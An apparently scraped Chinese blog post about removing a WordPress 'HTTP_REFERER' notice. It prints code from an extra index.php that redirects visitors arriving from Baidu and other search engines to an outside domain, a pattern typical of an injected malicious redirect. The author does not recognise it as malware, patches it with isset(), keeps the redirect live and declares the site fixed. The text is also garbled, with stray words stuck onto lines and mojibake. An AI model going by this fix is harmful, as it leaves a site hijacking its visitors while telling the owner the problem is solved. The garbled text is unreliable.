wordpress5.0+中 Notice: Undefined index: HTTP_REFERER 问题解决

都说如今搭网站很简单了,但真遇到问题了还真不必定能解决。php

此次搭建的网站是用的wordpress版本5.0.4,觉得操做和之前的低版本同样,结果作出来仍是遇到问题了。html

网站搭好后,首页总在顶端出现一行ide

Notice: Undefined index: HTTP_REFERER in index.php line 14wordpress

点击了其余页面后Notice消失网站

网上有关于这种状况的解决办法 http://www.manongjc.com/article/1114.htmlspa

 

可是
1. 用方法一、3(即关闭报错)都没用,没法消除.net

2. themes中index.php中并无发现HTTP_REFERER,亦没法用方法2code

3. 这个notice直接影响了页面一处图片的垂直居中效果,只有点击了其余页面后才会垂直居中htm

 

综合来看blog

1. 只能放弃一、3的方法

2. 定位具体位置

 

在定位具体位置中:

1.猜想可能和wp_header(),wp_footer()的相关引入有关,依次删除无果

2.切换到wordpress自带twentyseventeen、twentysixteen主题依然有,能够判断跟本身写的无关,是系统的问题。

3.猜想可能跟phpstudy有关,准备从新装phpstudy,也猜想可能和wordpress版本有关,可是以为不太可能

在网上各类翻的过程当中,发现了这篇帖子https://bbs.csdn.net/topics/391817077?page=1

其中提到了config文件,因而翻看config并无HTTP_REFERER,

可是在一样的文件夹中发现了另外一个index.php

由于报错是在index.php中,因而点开一看

HTTP_REFERER赫然出如今第14行,因而按照方法2进行修改

if(isset($_SERVER['HTTP_REFERER'])){
    $httpuser=strtolower($_SERVER['HTTP_REFERER']);
  if(strstr($httpuser,'tiandao') or strstr($httpuser,'baidu') or strstr($httpuser,'HaosouSpider'))
  {
      Header("Location: http://a8qqq.com/");//Ö¸¶¨Ìø×ª
      exit; 
    }
}

修改后,网站恢复正常!

相关文章
相关标签/搜索